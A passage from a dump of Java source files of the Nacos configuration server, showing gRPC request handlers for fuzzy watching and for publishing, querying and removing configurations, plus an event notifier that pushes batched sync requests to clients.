listen requests.\n * <p>\n * This handler is responsible for processing batch fuzzy listen requests sent by clients. It adds or removes clients\n * from the fuzzy listening context based on the request, and publishes corresponding events to notify interested\n * parties.\n * </p>\n *\n * @author stone-98\n * @date 2024/3/4\n */\n@Component\npublic class ConfigFuzzyWatchRequestHandler extends RequestHandler<ConfigFuzzyWatchRequest, ConfigFuzzyWatchResponse> {\n    \n    private ConfigFuzzyWatchContextService configFuzzyWatchContextService;\n    \n    public ConfigFuzzyWatchRequestHandler(ConfigFuzzyWatchContextService configFuzzyWatchContextService) {\n        this.configFuzzyWatchContextService = configFuzzyWatchContextService;\n    }\n    \n    /**\n     * Handles the batch fuzzy listen request.\n     * <p>\n     * This method processes the batch fuzzy listen request by adding or removing clients from the fuzzy listening\n     * context based on the request, and publishes corresponding events to notify interested parties.\n     * </p>\n     *\n     * @param request The batch fuzzy listen request\n     * @param meta    Request meta information\n     * @return The response to the batch fuzzy listen request\n     * @throws NacosException If an error occurs while processing the request\n     */\n    @Override\n    @NamespaceValidation\n    @TpsControl(pointName = \"ConfigFuzzyWatch\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG)\n    @ExtractorManager.Extractor(rpcExtractor = ConfigFuzzyWatchRequestParamsExtractor.class)\n    public ConfigFuzzyWatchResponse handle(ConfigFuzzyWatchRequest request, RequestMeta meta) throws NacosException {\n        String connectionId = StringPool.get(meta.getConnectionId());\n        String groupKeyPattern = request.getGroupKeyPattern();\n        if (WATCH_TYPE_WATCH.equals(request.getWatchType())) {\n            // Add client to the fuzzy listening context\n            try {\n                configFuzzyWatchContextService.addFuzzyWatch(groupKeyPattern, connectionId);\n                // Get existing group keys for the client and publish initialization event\n                Set<String> clientExistingGroupKeys = request.getReceivedGroupKeys();\n                NotifyCenter.publishEvent(\n                        new ConfigFuzzyWatchEvent(connectionId, clientExistingGroupKeys, groupKeyPattern,\n                                request.isInitializing()));\n            } catch (NacosException nacosException) {\n                ConfigFuzzyWatchResponse configFuzzyWatchResponse = new ConfigFuzzyWatchResponse();\n                configFuzzyWatchResponse.setErrorInfo(nacosException.getErrCode(), nacosException.getErrMsg());\n                return configFuzzyWatchResponse;\n            }\n            \n            boolean reachToUpLimit = configFuzzyWatchContextService.reachToUpLimit(groupKeyPattern);\n            if (reachToUpLimit) {\n                ConfigFuzzyWatchResponse configFuzzyWatchResponse = new ConfigFuzzyWatchResponse();\n                configFuzzyWatchResponse.setErrorInfo(FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getCode(),\n                        FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getMsg());\n                return configFuzzyWatchResponse;\n            }\n            \n        } else if (WATCH_TYPE_CANCEL_WATCH.equals(request.getWatchType())) {\n            configFuzzyWatchContextService.removeFuzzyListen(groupKeyPattern, connectionId);\n        }\n        \n        // Return response\n        return new ConfigFuzzyWatchResponse();\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigFuzzyWatchSyncNotifier.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchSyncRequest;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.SmartSubscriber;\nimport com.alibaba.nacos.common.task.BatchTaskCounter;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport com.alibaba.nacos.config.server.configuration.ConfigCommonConfig;\nimport com.alibaba.nacos.config.server.model.event.ConfigFuzzyWatchEvent;\nimport com.alibaba.nacos.config.server.service.ConfigFuzzyWatchContextService;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.core.remote.RpcPushService;\nimport org.springframework.stereotype.Component;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport java.util.stream.Collectors;\n\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_DIFF_SYNC_NOTIFY;\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_INIT_NOTIFY;\n\n/**\n * Handles batch fuzzy listen events and pushes corresponding notifications to clients.\n *\n * @author stone-98\n * @date 2024/3/18\n */\n@Component(value = \"configFuzzyWatchSyncNotifier\")\npublic class ConfigFuzzyWatchSyncNotifier extends SmartSubscriber {\n    \n    private final ConnectionManager connectionManager;\n    \n    private final RpcPushService rpcPushService;\n    \n    private final ConfigFuzzyWatchContextService configFuzzyWatchContextService;\n    \n    public ConfigFuzzyWatchSyncNotifier(ConnectionManager connectionManager, RpcPushService rpcPushService,\n            ConfigFuzzyWatchContextService configFuzzyWatchContextService) {\n        this.connectionManager = connectionManager;\n        this.rpcPushService = rpcPushService;\n        this.configFuzzyWatchContextService = configFuzzyWatchContextService;\n        NotifyCenter.registerSubscriber(this);\n    }\n    \n    /**\n     * Handles the ConfigBatchFuzzyListenEvent. This method is responsible for processing batch fuzzy listen events and\n     * pushing corresponding notifications to clients.\n     *\n     * @param event The ConfigBatchFuzzyListenEvent to handle\n     */\n    public void handleFuzzyWatchEvent(ConfigFuzzyWatchEvent event) {\n        \n        // Match client effective group keys based on the event pattern, client IP, and tag\n        Set<String> matchGroupKeys = configFuzzyWatchContextService.matchGroupKeys(event.getGroupKeyPattern());\n        \n        // Retrieve existing group keys for the client from the event\n        Set<String> clientExistingGroupKeys = event.getClientExistingGroupKeys();\n        \n        // Calculate and merge configuration states based on matched and existing group keys\n        List<FuzzyGroupKeyPattern.GroupKeyState> configStates = FuzzyGroupKeyPattern.diffGroupKeys(matchGroupKeys,\n                clientExistingGroupKeys);\n        \n        if (CollectionUtils.isEmpty(configStates)) {\n            int maxPushRetryTimes = ConfigCommonConfig.getInstance().getMaxPushRetryTimes();\n            if (event.isInitializing()) {\n                ConfigFuzzyWatchSyncRequest request = ConfigFuzzyWatchSyncRequest.buildInitFinishRequest(\n                        event.getGroupKeyPattern());\n                // Create RPC push task and push the request to the client\n                FuzzyWatchSyncNotifyTask fuzzyWatchSyncNotifyTask = new FuzzyWatchSyncNotifyTask(connectionManager,\n                        rpcPushService, request, null, maxPushRetryTimes, event.getConnectionId());\n                fuzzyWatchSyncNotifyTask.scheduleSelf();\n            }\n            \n        } else {\n            \n            // delete notify protection when pattern match count over limit because matchGroupKeys may not a full set.\n            if (configFuzzyWatchContextService.reachToUpLimit(event.getGroupKeyPattern())) {\n                configStates.removeIf(item -> !item.isExist());\n            }\n            \n            String syncType = event.isInitializing() ? FUZZY_WATCH_INIT_NOTIFY : FUZZY_WATCH_DIFF_SYNC_NOTIFY;\n            \n            int batchSize = ConfigCommonConfig.getInstance().getBatchSize();\n            // Divide config states into batches\n            List<List<FuzzyGroupKeyPattern.GroupKeyState>> divideConfigStatesIntoBatches = divideConfigStatesIntoBatches(\n                    configStates, batchSize);\n            \n            // Calculate the number of batches and initialize push batch finish count\n            int totalBatch = divideConfigStatesIntoBatches.size();\n            BatchTaskCounter batchTaskCounter = new BatchTaskCounter(divideConfigStatesIntoBatches.size());\n            int currentBatch = 1;\n            for (List<FuzzyGroupKeyPattern.GroupKeyState> configStateList : divideConfigStatesIntoBatches) {\n                // Map config states to FuzzyListenNotifyDiffRequest.Context objects\n                Set<ConfigFuzzyWatchSyncRequest.Context> contexts = configStateList.stream().map(state -> {\n                    \n                    String changeType = state.isExist() ? Constants.ConfigChangedType.ADD_CONFIG\n                            : Constants.ConfigChangedType.DELETE_CONFIG;\n                    return ConfigFuzzyWatchSyncRequest.Context.build(state.getGroupKey(), changeType);\n                }).collect(Collectors.toSet());\n                \n                ConfigFuzzyWatchSyncRequest request = ConfigFuzzyWatchSyncRequest.buildSyncRequest(syncType, contexts,\n                        event.getGroupKeyPattern(), totalBatch, currentBatch);\n                int maxPushRetryTimes = ConfigCommonConfig.getInstance().getMaxPushRetryTimes();\n                // Create RPC push task and push the request to the client\n                FuzzyWatchSyncNotifyTask fuzzyWatchSyncNotifyTask = new FuzzyWatchSyncNotifyTask(connectionManager,\n                        rpcPushService, request, batchTaskCounter, maxPushRetryTimes, event.getConnectionId());\n                fuzzyWatchSyncNotifyTask.scheduleSelf();\n                currentBatch++;\n            }\n        }\n        \n    }\n    \n    @Override\n    public List<Class<? extends Event>> subscribeTypes() {\n        List<Class<? extends Event>> result = new LinkedList<>();\n        result.add(ConfigFuzzyWatchEvent.class);\n        return result;\n    }\n    \n    @Override\n    public void onEvent(Event event) {\n        if (event instanceof ConfigFuzzyWatchEvent) {\n            handleFuzzyWatchEvent((ConfigFuzzyWatchEvent) event);\n        }\n    }\n    \n    /**\n     * Divides a collection of items into batches.\n     *\n     * @param configStates The collection of items to be divided into batches\n     * @param batchSize    The size of each batch\n     * @param <T>          The type of items in the collection\n     * @return A list of batches, each containing a sublist of items\n     */\n    private <T> List<List<T>> divideConfigStatesIntoBatches(Collection<T> configStates, int batchSize) {\n        // Initialize an index to track the current batch number\n        AtomicInteger index = new AtomicInteger();\n        \n        // Group the elements into batches based on their index divided by the batch size\n        return new ArrayList<>(\n                configStates.stream().collect(Collectors.groupingBy(e -> index.getAndIncrement() / batchSize))\n                        .values());\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigPublishRequestHandler.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.config.remote.request.ConfigPublishRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigPublishResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.common.utils.Pair;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.exception.ConfigAlreadyExistsException;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.core.control.TpsControl;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.ConfigRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport com.alibaba.nacos.plugin.encryption.handler.EncryptionHandler;\nimport org.springframework.stereotype.Component;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.RPC;\n\n/**\n * request handler to publish config.\n *\n * @author liuzunfei\n * @version $Id: ConfigPublishRequestHandler.java, v 0.1 2020年07月16日 4:41 PM liuzunfei Exp $\n */\n@Component\npublic class ConfigPublishRequestHandler extends RequestHandler<ConfigPublishRequest, ConfigPublishResponse> {\n    \n    private ConfigOperationService configOperationService;\n    \n    public ConfigPublishRequestHandler(ConfigOperationService configOperationService) {\n        this.configOperationService = configOperationService;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @TpsControl(pointName = \"ConfigPublish\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG)\n    @ExtractorManager.Extractor(rpcExtractor = ConfigRequestParamExtractor.class)\n    public ConfigPublishResponse handle(ConfigPublishRequest request, RequestMeta meta) throws NacosException {\n        \n        try {\n            String dataId = request.getDataId();\n            String group = request.getGroup();\n            String content = request.getContent();\n            final boolean namespaceTransferred = NamespaceUtil.isNeedTransferNamespace(request.getTenant());\n            final String tenant = NamespaceUtil.processNamespaceParameter(request.getTenant());\n            \n            final String srcIp = meta.getClientIp();\n            final String tag = request.getAdditionParam(\"tag\");\n            final String appName = request.getAdditionParam(\"appName\");\n            final String type = request.getAdditionParam(\"type\");\n            final String srcUser = request.getAdditionParam(\"src_user\");\n            final String encryptedDataKey = request.getAdditionParam(\"encryptedDataKey\");\n            \n            // check tenant\n            ParamUtils.checkParam(dataId, group, \"datumId\", content);\n            ParamUtils.checkParam(tag);\n            \n            ConfigForm configForm = new ConfigForm();\n            configForm.setDataId(dataId);\n            configForm.setGroup(group);\n            configForm.setNamespaceId(tenant);\n            configForm.setContent(content);\n            configForm.setTag(tag);\n            configForm.setAppName(appName);\n            configForm.setSrcUser(srcUser);\n            configForm.setConfigTags(request.getAdditionParam(\"config_tags\"));\n            configForm.setDesc(request.getAdditionParam(\"desc\"));\n            configForm.setUse(request.getAdditionParam(\"use\"));\n            configForm.setEffect(request.getAdditionParam(\"effect\"));\n            configForm.setType(type);\n            configForm.setSchema(request.getAdditionParam(\"schema\"));\n            \n            if (!ConfigType.isValidType(type)) {\n                configForm.setType(ConfigType.getDefaultType().getType());\n            }\n            \n            ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n            configRequestInfo.setSrcIp(srcIp);\n            configRequestInfo.setSrcType(RPC);\n            configRequestInfo.setRequestIpApp(meta.getLabels().get(Constants.APPNAME));\n            configRequestInfo.setBetaIps(request.getAdditionParam(\"betaIps\"));\n            configRequestInfo.setCasMd5(request.getCasMd5());\n            configRequestInfo.setNamespaceTransferred(namespaceTransferred);\n            \n            String encryptedDataKeyFinal = null;\n            if (StringUtils.isNotBlank(encryptedDataKey)) {\n                encryptedDataKeyFinal = encryptedDataKey;\n            } else {\n                Pair<String, String> pair = EncryptionHandler.encryptHandler(dataId, content);\n                content = pair.getSecond();\n                encryptedDataKeyFinal = pair.getFirst();\n                configForm.setContent(content);\n            }\n            try {\n                configOperationService.publishConfig(configForm, configRequestInfo, encryptedDataKeyFinal);\n                return ConfigPublishResponse.buildSuccessResponse();\n            } catch (NacosApiException | ConfigAlreadyExistsException ex) {\n                return ConfigPublishResponse.buildFailResponse(ResponseCode.FAIL.getCode(),\n                        ex.getErrMsg());\n            }\n            \n        } catch (Exception e) {\n            Loggers.REMOTE_DIGEST.error(\"[ConfigPublishRequestHandler] publish config error ,request ={}\", request, e);\n            return ConfigPublishResponse.buildFailResponse(\n                    (e instanceof NacosException) ? ((NacosException) e).getErrCode() : ResponseCode.FAIL.getCode(),\n                    e.getMessage());\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigQueryRequestHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.service.query.ConfigChainRequestExtractorService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.config.server.service.trace.ConfigTraceService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.core.control.TpsControl;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.ConfigRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\nimport java.net.URLEncoder;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.ENCODE_UTF8;\nimport static com.alibaba.nacos.config.server.utils.LogUtil.PULL_LOG;\nimport static com.alibaba.nacos.config.server.utils.RequestUtil.CLIENT_APPNAME_HEADER;\n\n/**\n * ConfigQueryRequestHandler.\n *\n * @author liuzunfei\n * @version $Id: ConfigQueryRequestHandler.java, v 0.1 2020年07月14日 9:54 AM liuzunfei Exp $\n */\n@Component\npublic class ConfigQueryRequestHandler extends RequestHandler<ConfigQueryRequest, ConfigQueryResponse> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigQueryRequestHandler.class);\n    \n    private final ConfigQueryChainService configQueryChainService;\n    \n    public ConfigQueryRequestHandler(ConfigQueryChainService configQueryChainService) {\n        this.configQueryChainService = configQueryChainService;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @TpsControl(pointName = \"ConfigQuery\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG)\n    @ExtractorManager.Extractor(rpcExtractor = ConfigRequestParamExtractor.class)\n    public ConfigQueryResponse handle(ConfigQueryRequest request, RequestMeta meta) throws NacosException {\n        try {\n            request.setTenant(NamespaceUtil.processNamespaceParameter(request.getTenant()));\n            String dataId = request.getDataId();\n            String group = request.getGroup();\n            String tenant = request.getTenant();\n            String groupKey = GroupKey2.getKey(dataId, group, tenant);\n            boolean notify = request.isNotify();\n            \n            String requestIpApp = meta.getLabels().get(CLIENT_APPNAME_HEADER);\n            String clientIp = meta.getClientIp();\n            \n            ConfigQueryChainRequest chainRequest = ConfigChainRequestExtractorService.getExtractor()\n                    .extract(request, meta);\n            ConfigQueryChainResponse chainResponse = configQueryChainService.handle(chainRequest);\n            \n            if (ResponseCode.FAIL.getCode() == chainResponse.getResultCode()) {\n                return ConfigQueryResponse.buildFailResponse(ResponseCode.FAIL.getCode(), chainResponse.getMessage());\n            }\n            \n            if (chainResponse.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND) {\n                return handlerConfigNotFound(request.getDataId(), request.getGroup(), request.getTenant(), requestIpApp,\n                        clientIp, notify);\n            }\n            \n            if (chainResponse.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_QUERY_CONFLICT) {\n                return handlerConfigConflict(clientIp, groupKey);\n            }\n            \n            ConfigQueryResponse response = new ConfigQueryResponse();\n            \n            // Check if there is a matched gray rule\n            if (chainResponse.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_GRAY) {\n                if (BetaGrayRule.TYPE_BETA.equals(chainResponse.getMatchedGray().getGrayRule().getType())) {\n                    response.setBeta(true);\n                } else if (TagGrayRule.TYPE_TAG.equals(chainResponse.getMatchedGray().getGrayRule().getType())) {\n                    response.setTag(URLEncoder.encode(chainResponse.getMatchedGray().getRawGrayRule(), ENCODE_UTF8));\n                }\n            }\n            \n            // Check if there is a special tag\n            if (chainResponse.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.SPECIAL_TAG_CONFIG_NOT_FOUND) {\n                response.setTag(request.getTag());\n            }\n            \n            response.setMd5(chainResponse.getMd5());\n            response.setEncryptedDataKey(chainResponse.getEncryptedDataKey());\n            response.setContent(chainResponse.getContent());\n            response.setContentType(chainResponse.getConfigType());\n            response.setLastModified(chainResponse.getLastModified());\n            \n            String pullType = ConfigTraceService.PULL_TYPE_OK;\n            if (chainResponse.getContent() == null) {\n                pullType = ConfigTraceService.PULL_TYPE_NOTFOUND;\n                response.setErrorInfo(ConfigQueryResponse.CONFIG_NOT_FOUND, \"config data not exist\");\n            } else {\n                response.setResultCode(ResponseCode.SUCCESS.getCode());\n            }\n            \n            String pullEvent = resolvePullEventType(chainResponse, request.getTag());\n            LogUtil.PULL_CHECK_LOG.warn(\"{}|{}|{}|{}\", groupKey, clientIp, response.getMd5(),\n                    TimeUtils.getCurrentTimeStr());\n            final long delayed = System.currentTimeMillis() - response.getLastModified();\n            ConfigTraceService.logPullEvent(dataId, group, tenant, requestIpApp, response.getLastModified(), pullEvent,\n                    pullType, delayed, clientIp, notify, \"grpc\");\n            \n            return response;\n            \n        } catch (Exception e) {\n            LOGGER.error(\"Failed to handle grpc configuration query\", e);\n            return ConfigQueryResponse.buildFailResponse(ResponseCode.FAIL.getCode(), e.getMessage());\n        }\n        \n    }\n    \n    private ConfigQueryResponse handlerConfigConflict(String clientIp, String groupKey) {\n        ConfigQueryResponse response = new ConfigQueryResponse();\n        \n        PULL_LOG.info(\"[client-get] clientIp={}, {}, get data during dump\", clientIp, groupKey);\n        response.setErrorInfo(ConfigQueryResponse.CONFIG_QUERY_CONFLICT,\n                \"requested file is being modified, please try later.\");\n        \n        return response;\n    }\n    \n    private ConfigQueryResponse handlerConfigNotFound(String dataId, String group, String tenant, String requestIpApp,\n            String clientIp, boolean notify) {\n        //CacheItem No longer exists. It is impossible to simply calculate the push delayed. Here, simply record it as - 1.\n        ConfigQueryResponse response = new ConfigQueryResponse();\n        ConfigTraceService.logPullEvent(dataId, group, tenant, requestIpApp, -1, ConfigTraceService.PULL_EVENT,\n                ConfigTraceService.PULL_TYPE_NOTFOUND, -1, clientIp, notify, \"grpc\");\n        response.setErrorInfo(ConfigQueryResponse.CONFIG_NOT_FOUND, \"config data not exist\");\n        \n        return response;\n        \n    }\n    \n    private String resolvePullEventType(ConfigQueryChainResponse chainResponse, String tag) {\n        switch (chainResponse.getStatus()) {\n            case CONFIG_FOUND_GRAY:\n                ConfigCacheGray matchedGray = chainResponse.getMatchedGray();\n                if (matchedGray != null) {\n                    return ConfigTraceService.PULL_EVENT + \"-\" + matchedGray.getGrayName();\n                } else {\n                    return ConfigTraceService.PULL_EVENT;\n                }\n            case SPECIAL_TAG_CONFIG_NOT_FOUND:\n                return ConfigTraceService.PULL_EVENT + \"-\" + TagGrayRule.TYPE_TAG + \"-\" + tag;\n            default:\n                return ConfigTraceService.PULL_EVENT;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigRemoveRequestHandler.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigRemoveRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigRemoveResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.core.control.TpsControl;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.ConfigRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.stereotype.Component;\n\n/**\n * handler to remove config.\n *\n * @author liuzunfei\n * @version $Id: ConfiRemoveRequestHandler.java, v 0.1 2020年07月16日 5:49 PM liuzunfei Exp $\n */\n@Component\npublic class ConfigRemoveRequestHandler extends RequestHandler<ConfigRemoveRequest, ConfigRemoveResponse> {\n    \n    private final ConfigInfoPersistService configInfoPersistService;\n    \n    private final ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    private final ConfigOperationService configOperationService;\n    \n    public ConfigRemoveRequestHandler(ConfigInfoPersistService configInfoPersistService,\n            ConfigInfoGrayPersistService configInfoGrayPersistService, ConfigOperationService configOperationService) {\n        this.configInfoPersistService = configInfoPersistService;\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n        this.configOperationService = configOperationService;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @TpsControl(pointName = \"ConfigRemove\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG)\n    @ExtractorManager.Extractor(rpcExtractor = ConfigRequestParamExtractor.class)\n    public ConfigRemoveResponse handle(ConfigRemoveRequest configRemoveRequest, RequestMeta meta)\n            throws NacosException {\n        // check tenant\n        String tenant = configRemoveRequest.getTenant();\n        tenant = NamespaceUtil.processNamespaceParameter(tenant);\n        String dataId = configRemoveRequest.getDataId();\n        String group = configRemoveRequest.getGroup();\n        String tag = configRemoveRequest.getTag();\n        try {\n            ParamUtils.checkTenant(tenant);\n            ParamUtils.checkParam(dataId, group, \"datumId\", \"rm\");\n            ParamUtils.checkParam(tag);\n            String clientIp = meta.getClientIp();\n            configOperationService.deleteConfig(dataId, group, tenant, tag, clientIp, null, Constants.RPC);\n            return ConfigRemoveResponse.buildSuccessResponse();\n        } catch (Exception e) {\n            Loggers.REMOTE_DIGEST.error(\"remove config error,error msg is {}\", e.getMessage(), e);\n            return ConfigRemoveResponse.buildFailResponse(e.getMessage());\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/FuzzyWatchChangeNotifyTask.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchChangeNotifyRequest;\nimport com.alibaba.nacos.api.remote.AbstractPushCallBack;\nimport com.alibaba.nacos.config.server.configuration.ConfigCommonConfig;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.core.remote.RpcPushService;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport com.alibaba.nacos.plugin.control.ControlManagerCenter;\nimport com.alibaba.nacos.plugin.control.tps.request.TpsCheckRequest;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Represents a task for pushing notification to remote clients.\n */\nclass FuzzyWatchChangeNotifyTask implements Runnable {\n    \n    private static final String POINT_FUZZY_WATCH_CONFIG_PUSH = \"POINT_FUZZY_WATCH_CONFIG_PUSH\";\n    \n    private static final String POINT_FUZZY_WATCH_CONFIG_PUSH_SUCCESS = \"POINT_FUZZY_WATCH_CONFIG_PUSH_SUCCESS\";\n    \n    private static final String POINT_FUZZY_WATCH_CONFIG_PUSH_FAIL = \"POINT_FUZZY_WATCH_CONFIG_PUSH_FAIL\";\n    \n    ConfigFuzzyWatchChangeNotifyRequest 